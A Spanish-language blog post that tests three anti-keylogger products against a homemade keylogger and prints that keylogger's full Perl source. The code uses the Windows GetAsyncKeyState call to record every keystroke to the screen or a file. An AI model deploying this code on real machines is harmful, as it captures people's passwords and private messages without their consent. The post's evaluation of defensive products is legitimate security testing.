martes, 15 de febrero de 2011

Anti-Keyloggers a examen

Uno de los riesgos mas preocupantes que nos podemos encontrar cuando usamos un PC es que todas las pulsaciones realizadas sobre él sean interceptadas y grabadas.

Los famosos 'Keyloggers' resultan muy útiles para robar principalmente contraseñas, aunque también supone un riesgo contra nuestra privacidad si todos los correos escritos / conversaciones de chat etc son interceptados.

Existen un buen numero de programas 'Anti keyloggers', de todos ellos he seleccionado 3


Todos ellos prometen lo mismo: son capaces de detectar y bloquear cualquier tipo de keylogger conocido o desconocido, es decir, no actúan con listas negras / blancas, analizan comportamiento.

Para ponerlos a prueba he preferido no usar algún keylogger conocido y famoso por aquello del ¿será verdad que no usan firmas?. Así que me he hecho mi propio keylogger.

Mi Keylogger es extremadamente simple y sencillo, haciendo uso de GetAsyncKeyState, una llamada disponible en el API de Windows, he construido un simple pero efectivo keylogger en Perl.

El keylogger registra cualquier pulsación del teclado y permite escribir lo capturado o bien por pantalla, o en un fichero especificado como primer argumento.

use Win32::API;
use Time::HiRes qw(usleep);
use strict ;

$|=1;

$SIG{'INT'} = \&muere;
$SIG{'QUIT'} = \&muere;
$SIG{'KILL'} = \&muere;
$SIG{'ABRT'} = \&muere;
$SIG{'STOP'} = \&muere;

sub muere

{
close FH ;
exit 0;
}

my $rsGetAsyncKeyState = new Win32::API("user32", "GetAsyncKeyState", "N", "I");
my $ret;
my $keyCode;


while(1) {
if (@ARGV[0]) {

open (FH, ">>", "@ARGV[0]") ;

}

for ($keyCode=0; $keyCode<256; $keyCode++) {

$ret = $rsGetAsyncKeyState->Call($keyCode);

if ($ret eq -32767) {

my $tecla= chr($keyCode);

if (@ARGV[0]) {

if ($keyCode == "13") { print FH "\n" }
print FH "$tecla"

}

else {

if ($keyCode == "13") { print "\n" }
print "$tecla"

}
}
}
usleep(1000);
}

Se puede descargar ya convertido en .exe aquí

Zemana AntiLogger

Una vez completado el proceso de instalación (siguiente siguiente fin) procedemos a ejecutar keylog.exe desde un cmd.exe y automáticamente aparece una notificación en el tray:


Perfecto ! lo ha pillado a la primera, ha identificado que es un keylogger y lo ha bloqueado. Al intentar volver a ejecutar el proceso keylog.exe, directamente no se ejecuta, si copiamos el .exe con otro nombre, da igual, está bloqueado.

DataGuard AntiKeylogger

Una vez hecha la instalación nos pide que re-iniciemos el sistema, terminado ese paso ya está activo.

Repetimos la prueba, ejecutamos keylog.exe y ¡sorpresa! no tenemos ningún evento que notifique que hay un keylogger en uso, no obstante, el keylogger no funciona. Asumo que DataGuard bloquea ciertas llamadas al sistema como método de protección. Bien por bloquear el keylogger, mal por no haberlo detectado.

Si vamos a los logs del programa:


Vemos que si ha detectado y bloqueado parte del software de VMware, siendo este claramente un falso positivo.

PrivacyKeyboard

Vamos con la tercera prueba, una vez instalamos PrivacyKeyboard, lanzamos nuestro -a estas alturas- ya querido keylog.exe y ¡vaya! ni un solo evento / notificación, no obstante y repitiendo el mismo patrón que con DataGuard, el keylog tampoco es efectivo, no recoge datos.

Si observamos el visor de logs del programa:


Se repite el mismo falso positivo con VMware que daba DataGuard.

Conclusión

Todas las soluciones analizadas han sido capaces de bloquear el uso de nuestro simple keylogger volviéndolo inefectivo. Pero solo una, Zemana, es capaz de identificar el keylogger y avisarnos de que está siendo utilizado en el sistema. El resto, no solo no nos han notificado, sino que además han cometido falsos positivos

No hay comentarios:

Publicar un comentario